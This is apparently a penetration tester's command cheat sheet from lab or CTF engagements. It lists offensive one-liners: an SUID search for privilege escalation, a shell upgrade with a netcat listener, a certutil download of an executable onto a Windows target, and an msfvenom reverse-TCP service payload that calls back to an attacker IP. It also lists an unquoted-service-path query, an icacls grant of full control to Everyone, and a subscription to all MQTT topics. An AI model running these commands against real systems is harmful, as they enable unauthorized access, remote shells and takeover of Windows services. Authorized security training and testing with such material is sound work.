List of Commands
A reference list of commands worth keeping handy across engagements.
Common Linux Commands
Find a file by name, and find SUID binaries (a common privesc lead):
find / -type f -name file.txt -ls 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
Upgrade a dumb shell to a proper TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Serve files over HTTP from the current directory:
python3 -m http.server 8000
A better listener (readline support) and fixing the terminal type:
rlwrap nc -lvnp 1337
export TERM=xterm-256color
Read scheduled jobs:
cat /etc/crontab
Download a file to a Windows target:
certutil.exe -urlcache -f http://192.168.57.5/file.exe file.exe
Find Unquoted File Paths for Windows
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
Create Service Payloads for Windows
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe-service -o Service.exe
Add permission for everyone on the exe for Windows
icacls c:\Users\sage\service.exe /grant Everyone:F
IOT Scans
Subscribe to every MQTT topic on a broker:
mosquitto_sub -t "#" -h 10.10.69.7
Pull Files with cURL
curl -X "HEAD" http://10.10.56.195/api/fl46
or
curl --head http://10.10.56.195/api/fl46